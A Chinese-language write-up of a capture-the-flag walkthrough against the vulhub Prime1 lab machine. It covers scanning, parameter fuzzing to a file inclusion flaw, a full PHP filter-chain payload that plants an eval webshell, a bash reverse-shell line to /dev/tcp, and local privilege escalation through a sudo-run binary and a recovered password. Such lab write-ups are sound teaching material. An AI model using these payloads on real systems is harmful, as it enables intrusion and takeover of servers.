vulhub:Prime1
vulhub:Prime1
端口扫描
1 | kali@kali [~] ➜ sudo nmap -p- -sT --min-rate 1000 192.168.1.32 [21:32:16] |
靶机可能卡bug了,我刚做的时候没有8000端口啊,算了
80端口渗透
上去看了看,网站默认页面没东西,那就开始扫描吧
1 | kali@kali [~] ➜ gobuster dir --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.32 [21:35:13] |
这里直接去看看/dev
1 | kali@kali [~] ➜ curl http://192.168.1.32/dev [21:36:12] |
让我们深入挖掘网站,那就继续扫描,扩大范围
1 | kali@kali [~] ➜ gobuster dir --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.32 -x txt,zip,html [21:37:25] |
扫出一个txt文件,我们访问一下
1 | kali@kali [~] ➜ curl http://192.168.1.32/secret.txt [21:40:21] |
让我们不放过任何一个php文件,去fuzz爆破其参数,还给了一个location.txt,先去访问一下
1 |
|
没东西,难道是假的?那我先扫描php文件吧
1 | kali@kali [~] ➜ gobuster dir --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.32 -x php [21:41:37] |
一个index.php,一个image.php,那就爆破参数呗
1 | kali@kali [~] ➜ wfuzz -c -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u "http://192.168.1.32/index.php?FUZZ=/etc/passwd" --hh 136 |
第一个直接就出了,这参数一看就是文件包含,直接包含
1 | kali@kali [~] ➜ curl http://192.168.1.32/index.php\?file\=/etc/passwd [21:46:04] |
有回显了,说我们包含的文件不对,这就很离谱了,刚好上面有一个访问不了的txt文件,不可能没用,我们尝试一下
1 | kali@kali [~] ➜ curl http://192.168.1.32/index.php\?file\=location.txt [21:46:28] |
让我们尝试在另一个php文件中用它给的参数访问
1 |
|
看来确实是文件包含漏洞,还有一个提示,让我们读取密码,这里我压根没读,我看别人接下来都是去wordpress里面渗透,但是我的靶机可能有bug,压根访问不了,我就直接构造Filter链,不知道的,可以学习一下
1 | kali@kali [~/web_shell_toos/php_filter_chain_generator] git:(main) ➜ python3 php_filter_chain_generator.py --chain '<?php eval($_POST["x"]);?>' [19:37:30] |
写入之后直接尝试反弹shell就可以了
1 | /bin/bash -c 'exec bash -i &>/dev/tcp/192.168.1.4/8888 <&1' //注意:要url编码 |
1 | POST /image.php?secrettier360=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp |
这样shell就弹回来了,完全绕过/wordpress渗透,这种非预期,不是我想而是我实在访问不了/wordpress啊
1 | kali@kali [~] ➜ nc -lvnp 8888 [22:01:32] |
提权
1 | www-data@ubuntu:/var/www/html$ sudo -l |
那这肯定和这个enc有关系啊,直接干
1 | www-data@ubuntu:/var/www/html$ sudo /home/saket/enc |
废了,问我们要密码,只能看看靶机上有没有密码泄露了
1 | find / -name '*pass*' 2>dev/null |sort |
筛选出来这样一个文件,因为带有backup备份的字样
1 | www-data@ubuntu:/var/www/html$ cat /opt/backup/server_database/backup_pass |
拿到密码了,开干
1 | www-data@ubuntu:/home/saket$ sudo /home/saket/enc |
给了一个good回显,看看有啥文件变化没
1 | www-data@ubuntu:/home/saket$ ls -la |
多了两个文件,一个让我们md5’ippsec’,另外一个看起来像密码,这里就不太会了,只能学习别的师傅的了
1 | kali@kali [~] ➜ echo -n "ippsec" |md5sum | awk -F ' ' '{print $1}' [22:31:48] |
先处理一下ipssec,这里的-n参数防止有换行符,要么这个md5就是错的了,awk以空为分割,打印分割后的第一个字符串,据说呢这个enc.txt是enc加密算法,提示的很明显了,可以用openssl破解
要注意的是给的enc.txt是base64编码的形式,这一点要注意,不能忘记了,但是这个enc解密时,除了指定key之外,还要指定一种算法,这种算法我们不知道,只能枚举或猜测
1 | kali@kali [~/web_shell_toos] ➜ cat enc.txt |
上面时openssl –help给出的所有加解密基础算法,我们写一个bash命令,用来循环解密
1 | kali@kali [~] ➜ openssl enc --help [22:51:49] |
这里能看出,我们指定的key -K 要以hex也就是16进制指定,也就是刚刚的md5我们处理的还不够到位,我们先不急,先处理上面给出的基础加密算法,使其一行一个
1 | cat enc.txt | sed "s/ /\n/g" | sort | grep "^[a-zA-Z0-9]" > enc.txt |
这样,就一行一个了,我们来继续处理md5,使其变成16进制
1 | kali@kali [~/web_shell_toos] ➜ echo -n "ippsec" |md5sum | awk -F ' ' '{print $1}' | od -t x1 -A n [23:07:22] |
od就是进制转化工具,-t x1就是转化成单字节16进制,-A n就是不显示偏移量,可以理解为只显示转化后的结果,多的都不显示,0a是换行符,要处理了,还要去空
1 | kali@kali [~/web_shell_toos] ➜ echo -n "ippsec" |md5sum | awk -F ' ' '{print $1}' | od -t x1 -A n |sed "s/0a//g" | sed 's/ //g' | tr -d '\n' [23:12:18] |
这就算是处理完成了,接下来循环解密了
1 | kali@kali [~/web_shell_toos] ➜ for i in $(cat enc.txt);do echo "nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=" | openssl enc -d -base64 -$i -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null;echo $i;done |
aes-256-ecb解密成功,给了我们密码,那估计就是ssh了,毕竟22端口还没发力
1 | kali@kali [~/web_shell_toos] ➜ ssh saket@192.168.1.32 [23:24:30] |
继续提权
1 | sudo -l |
说不存在这个文件,那就显而易见了,肯定是加载或者执行这个文件了,那我们直接写一个提权进去
1 | echo "!#/bin/bash" > challenge |
拿下